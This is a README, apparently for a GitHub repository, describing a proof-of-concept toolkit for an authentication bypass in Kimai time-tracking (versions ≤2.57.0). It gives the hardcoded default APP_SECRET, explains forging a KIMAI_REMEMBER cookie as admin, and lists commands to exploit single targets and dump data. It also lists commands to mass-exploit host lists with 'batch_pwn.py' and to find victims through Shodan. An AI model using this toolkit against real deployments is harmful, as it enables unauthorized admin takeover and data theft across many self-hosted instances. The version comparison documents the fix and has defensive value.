
Exploit PoC per CVE-2026-52824 (GHSA-jr9p-4h4j-6c58) — bypass dell'autenticazione tramite APP_SECRET predefinito in Kimai time-tracking, che interessa le versioni ≤ 2.57.0
Nota: L'URL del repository contiene un CVE ID obsoleto (CVE-2026-49865). Il CVE corretto e attuale tracciato in questo repository è CVE-2026-52824 (GHSA-jr9p-4h4j-6c58).
Toolkit di exploit proof-of-concept per la vulnerabilità del APP_SECRET predefinito hardcoded in Kimai time-tracking (versioni ≤ 2.57.0). Consente il bypass dell'autenticazione tramite cookie KIMAI_REMEMBER falsificati su deployment Docker non aggiornati.
Quando è uscito CVE-2026-52824 — una criticità CVSS 9.1 con un segreto predefinito hardcoded in un'immagine Docker usata da migliaia di self-hoster — la comunità tecnica ne era a conoscenza e la correzione è arrivata con la 2.58.0. Ma nessuno ha pubblicato un proof-of-concept funzionante.
Così l'ho ricostruito partendo solo dall'avviso (advisory).
La catena: Kimai include APP_SECRET=change_this_to_something_unique in Docker e .env.dist. Nella v2.57.0 signature_properties per i cookie remember-me è vuoto, quindi il FieldsHash si riduce a una costante (SHA256('')). Combina il segreto noto con un hash vuoto e puoi falsificare un cookie KIMAI_REMEMBER per qualsiasi id utente — incluso admin (id:1).
Questo repository è il toolkit completo e funzionante che porta da advisory a sessione admin su qualsiasi istanza non aggiornata.
Kimai viene distribuito con un APP_SECRET predefinito hardcoded nella sua immagine Docker e in .env.dist:
APP_SECRET=change_this_to_something_unique
Nella v2.57.0, signature_properties per i cookie remember-me è vuoto, rendendo il FieldsHash una costante (SHA256('')). Combinato con il segreto noto, chiunque può falsificare un cookie KIMAI_REMEMBER valido per qualsiasi utente — incluso admin.
APP_SECRET noto → calcola le firme HMAC-SHA256KIMAI_REMEMBER con user_id + username di admingit clone https://github.com/cyeezy08/Kimai-CVE-2026-49865-POC.git
cd Kimai-CVE-2026-49865-POC
pip install -r requirements.txt
python3 exploit.py https://kimai.example.com
python3 exploit.py https://kimai.example.com admin --dump
# Da un file di URL
python3 batch_pwn.py kimai_hosts.txt results.txt 30
export SHODAN_API_KEY="your_key"
python3 shodan-scanner.py --search --output kimai_hosts.txt
python3 deep_probe.py kimai_hosts.txt versioned_results.txt
python3 quick_scan.py hosts_file.txt
requests — client HTTPshodan — client API Shodan (solo per shodan-scanner.py)Questo toolkit è fornito esclusivamente per test di sicurezza autorizzati e ricerca. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di testare. L'autore non si assume alcuna responsabilità per un uso improprio.
MIT, non lo so, sono stanco, ok grazie
| Campo | Valore |
|---|
| CVE | CVE-2026-52824 |
| GHSA | GHSA-jr9p-4h4j-6c58 |
| CVSS | 9.1 (Critical) |
| CWE | CWE-1188 — Inizializzazione predefinita non sicura delle risorse |
| Versioni interessate | Kimai ≤ 2.57.0 (Docker image / .env.dist) |
| Corretta in | 2.58.0 |
| Crediti | Trent M. (AzureADTrent) |
| Aspetto | v2.57.0 (Vulnerabile) | v2.58.0 (Corretta) |
|---|
| Dockerfile | ENV APP_SECRET=change_this_to_something_unique | Nessun valore predefinito hardcoded |
| entrypoint.sh | Nessuna generazione del segreto | Genera bin2hex(random_bytes(32)) al primo avvio |
| Storage | N/A | Persiste in /opt/kimai/var/data/.appsecret |
| File | Scopo |
|---|
exploit.py | Exploit a bersaglio singolo — falsifica il cookie e autentica |
batch_pwn.py | Sfruttamento batch multi-thread contro una lista di host |
quick_scan.py | Scanner a due passate — filtro rapido poi sonda approfondita |
deep_probe.py | Rilevamento versione tramite più endpoint |
probe_batch.py | Sonda gli host da file per versione + vulnerabilità |
shodan-scanner.py | Integrazione Shodan per scoprire istanze Kimai |